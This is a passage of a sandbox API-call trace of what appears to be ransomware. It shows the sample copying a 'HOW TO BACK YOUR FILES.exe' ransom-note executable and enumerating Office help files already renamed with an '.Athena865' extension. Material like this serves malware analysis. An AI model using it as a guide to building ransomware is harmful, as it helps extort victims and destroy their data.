Users\\Microsoft Help") returned="C:\\Documents and Settings\\All Users\\Microsoft Help" [0053.460] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.460] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.460] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft help\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.460] GetLastError () returned 0x0 [0053.460] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.461] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.461] CloseHandle (hObject=0xf4) returned 1 [0053.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.461] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.461] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft Help\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xc4b2fda0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b2fda0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.462] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.462] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.462] lstrcpyW (in: lpString1=0x241e8ae, lpString2="Hx.hxn.Athena865" | out: lpString1="Hx.hxn.Athena865") returned="Hx.hxn.Athena865" [0053.462] lstrlenW (lpString="Hx.hxn.Athena865") returned 16 [0053.462] lstrlenW (lpString="Athena865") returned 9 [0053.462] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.462] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc48f4900, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.EXCEL.14.1033.hxn.Athena865", cAlternateFileName="MSEXCE~1.ATH")) returned 1 [0053.462] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.462] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.462] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.EXCEL.14.1033.hxn.Athena865" | out: lpString1="MS.EXCEL.14.1033.hxn.Athena865") returned="MS.EXCEL.14.1033.hxn.Athena865" [0053.462] lstrlenW (lpString="MS.EXCEL.14.1033.hxn.Athena865") returned 30 [0053.462] lstrlenW (lpString="Athena865") returned 9 [0053.462] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.462] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc491aa60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.EXCEL.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSEXCE~2.ATH")) returned 1 [0053.462] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.462] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.462] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.EXCEL.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.EXCEL.DEV.14.1033.hxn.Athena865") returned="MS.EXCEL.DEV.14.1033.hxn.Athena865" [0053.462] lstrlenW (lpString="MS.EXCEL.DEV.14.1033.hxn.Athena865") returned 34 [0053.462] lstrlenW (lpString="Athena865") returned 9 [0053.462] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.462] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4940bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.GRAPH.14.1033.hxn.Athena865", cAlternateFileName="MSGRAP~1.ATH")) returned 1 [0053.463] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.463] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.463] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.GRAPH.14.1033.hxn.Athena865" | out: lpString1="MS.GRAPH.14.1033.hxn.Athena865") returned="MS.GRAPH.14.1033.hxn.Athena865" [0053.463] lstrlenW (lpString="MS.GRAPH.14.1033.hxn.Athena865") returned 30 [0053.463] lstrlenW (lpString="Athena865") returned 9 [0053.463] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.463] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4940bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.GROOVE.14.1033.hxn.Athena865", cAlternateFileName="MSGROO~1.ATH")) returned 1 [0053.463] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.463] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.463] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.GROOVE.14.1033.hxn.Athena865" | out: lpString1="MS.GROOVE.14.1033.hxn.Athena865") returned="MS.GROOVE.14.1033.hxn.Athena865" [0053.463] lstrlenW (lpString="MS.GROOVE.14.1033.hxn.Athena865") returned 31 [0053.463] lstrlenW (lpString="Athena865") returned 9 [0053.463] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.463] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4966d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.INFOPATH.14.1033.hxn.Athena865", cAlternateFileName="MSINFO~1.ATH")) returned 1 [0053.463] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.463] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.463] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.INFOPATH.14.1033.hxn.Athena865" | out: lpString1="MS.INFOPATH.14.1033.hxn.Athena865") returned="MS.INFOPATH.14.1033.hxn.Athena865" [0053.463] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn.Athena865") returned 33 [0053.463] lstrlenW (lpString="Athena865") returned 9 [0053.463] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.463] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc498ce80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.INFOPATHEDITOR.14.1033.hxn.Athena865", cAlternateFileName="MSINFO~2.ATH")) returned 1 [0053.463] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.463] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.463] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.INFOPATHEDITOR.14.1033.hxn.Athena865" | out: lpString1="MS.INFOPATHEDITOR.14.1033.hxn.Athena865") returned="MS.INFOPATHEDITOR.14.1033.hxn.Athena865" [0053.463] lstrlenW (lpString="MS.INFOPATHEDITOR.14.1033.hxn.Athena865") returned 39 [0053.463] lstrlenW (lpString="Athena865") returned 9 [0053.464] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.464] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc498ce80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSACCESS.14.1033.hxn.Athena865", cAlternateFileName="MSMSAC~1.ATH")) returned 1 [0053.464] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.464] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.464] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.MSACCESS.14.1033.hxn.Athena865" | out: lpString1="MS.MSACCESS.14.1033.hxn.Athena865") returned="MS.MSACCESS.14.1033.hxn.Athena865" [0053.464] lstrlenW (lpString="MS.MSACCESS.14.1033.hxn.Athena865") returned 33 [0053.464] lstrlenW (lpString="Athena865") returned 9 [0053.464] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.464] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc49b2fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSACCESS.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSMSAC~2.ATH")) returned 1 [0053.464] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.464] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.464] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.MSACCESS.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.MSACCESS.DEV.14.1033.hxn.Athena865") returned="MS.MSACCESS.DEV.14.1033.hxn.Athena865" [0053.464] lstrlenW (lpString="MS.MSACCESS.DEV.14.1033.hxn.Athena865") returned 37 [0053.464] lstrlenW (lpString="Athena865") returned 9 [0053.464] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.464] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc49b2fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSOUC.14.1033.hxn.Athena865", cAlternateFileName="MSMSOU~1.ATH")) returned 1 [0053.464] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.464] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.464] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.MSOUC.14.1033.hxn.Athena865" | out: lpString1="MS.MSOUC.14.1033.hxn.Athena865") returned="MS.MSOUC.14.1033.hxn.Athena865" [0053.464] lstrlenW (lpString="MS.MSOUC.14.1033.hxn.Athena865") returned 30 [0053.464] lstrlenW (lpString="Athena865") returned 9 [0053.464] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.464] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc49d9140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSPUB.14.1033.hxn.Athena865", cAlternateFileName="MSMSPU~1.ATH")) returned 1 [0053.464] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.464] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.464] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.MSPUB.14.1033.hxn.Athena865" | out: lpString1="MS.MSPUB.14.1033.hxn.Athena865") returned="MS.MSPUB.14.1033.hxn.Athena865" [0053.464] lstrlenW (lpString="MS.MSPUB.14.1033.hxn.Athena865") returned 30 [0053.464] lstrlenW (lpString="Athena865") returned 9 [0053.464] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.464] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc49d9140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSPUB.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSMSPU~2.ATH")) returned 1 [0053.465] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.465] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.465] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.MSPUB.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.MSPUB.DEV.14.1033.hxn.Athena865") returned="MS.MSPUB.DEV.14.1033.hxn.Athena865" [0053.465] lstrlenW (lpString="MS.MSPUB.DEV.14.1033.hxn.Athena865") returned 34 [0053.465] lstrlenW (lpString="Athena865") returned 9 [0053.465] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.465] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc49ff2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSTORE.14.1033.hxn.Athena865", cAlternateFileName="MSMSTO~1.ATH")) returned 1 [0053.465] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.465] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.465] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.MSTORE.14.1033.hxn.Athena865" | out: lpString1="MS.MSTORE.14.1033.hxn.Athena865") returned="MS.MSTORE.14.1033.hxn.Athena865" [0053.465] lstrlenW (lpString="MS.MSTORE.14.1033.hxn.Athena865") returned 31 [0053.465] lstrlenW (lpString="Athena865") returned 9 [0053.465] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.465] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc49ff2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OIS.14.1033.hxn.Athena865", cAlternateFileName="MSOIS1~1.ATH")) returned 1 [0053.465] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.465] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.465] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.OIS.14.1033.hxn.Athena865" | out: lpString1="MS.OIS.14.1033.hxn.Athena865") returned="MS.OIS.14.1033.hxn.Athena865" [0053.465] lstrlenW (lpString="MS.OIS.14.1033.hxn.Athena865") returned 28 [0053.465] lstrlenW (lpString="Athena865") returned 9 [0053.465] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.465] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4a25400, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.ONENOTE.14.1033.hxn.Athena865", cAlternateFileName="MSONEN~1.ATH")) returned 1 [0053.465] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.465] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.465] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.ONENOTE.14.1033.hxn.Athena865" | out: lpString1="MS.ONENOTE.14.1033.hxn.Athena865") returned="MS.ONENOTE.14.1033.hxn.Athena865" [0053.465] lstrlenW (lpString="MS.ONENOTE.14.1033.hxn.Athena865") returned 32 [0053.465] lstrlenW (lpString="Athena865") returned 9 [0053.465] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.465] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4a25400, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OUTLOOK.14.1033.hxn.Athena865", cAlternateFileName="MSOUTL~1.ATH")) returned 1 [0053.465] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.465] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.466] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.OUTLOOK.14.1033.hxn.Athena865" | out: lpString1="MS.OUTLOOK.14.1033.hxn.Athena865") returned="MS.OUTLOOK.14.1033.hxn.Athena865" [0053.466] lstrlenW (lpString="MS.OUTLOOK.14.1033.hxn.Athena865") returned 32 [0053.466] lstrlenW (lpString="Athena865") returned 9 [0053.466] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.466] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4a4b560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OUTLOOK.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSOUTL~2.ATH")) returned 1 [0053.466] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.466] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.466] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.OUTLOOK.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.OUTLOOK.DEV.14.1033.hxn.Athena865") returned="MS.OUTLOOK.DEV.14.1033.hxn.Athena865" [0053.466] lstrlenW (lpString="MS.OUTLOOK.DEV.14.1033.hxn.Athena865") returned 36 [0053.466] lstrlenW (lpString="Athena865") returned 9 [0053.466] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.466] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4a4b560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.POWERPNT.14.1033.hxn.Athena865", cAlternateFileName="MSPOWE~1.ATH")) returned 1 [0053.466] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.466] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.466] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.POWERPNT.14.1033.hxn.Athena865" | out: lpString1="MS.POWERPNT.14.1033.hxn.Athena865") returned="MS.POWERPNT.14.1033.hxn.Athena865" [0053.466] lstrlenW (lpString="MS.POWERPNT.14.1033.hxn.Athena865") returned 33 [0053.466] lstrlenW (lpString="Athena865") returned 9 [0053.466] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.466] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4a716c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.POWERPNT.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSPOWE~2.ATH")) returned 1 [0053.466] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.466] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.466] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MS.POWERPNT.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.POWERPNT.DEV.14.1033.hxn.Athena865") returned="MS.POWERPNT.DEV.14.1033.hxn.Athena865" [0053.466] lstrlenW (lpString="MS.POWERPNT.DEV.14.1033.hxn.Athena865") returned 37 [0053.466] lstrlenW (lpString="Athena865") returned 9 [0053.466] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.466] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4a716c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.SETLANG.14.1033.hxn.Athena865", cAlternateFileName="MSSETL~1.ATH")) returned 1 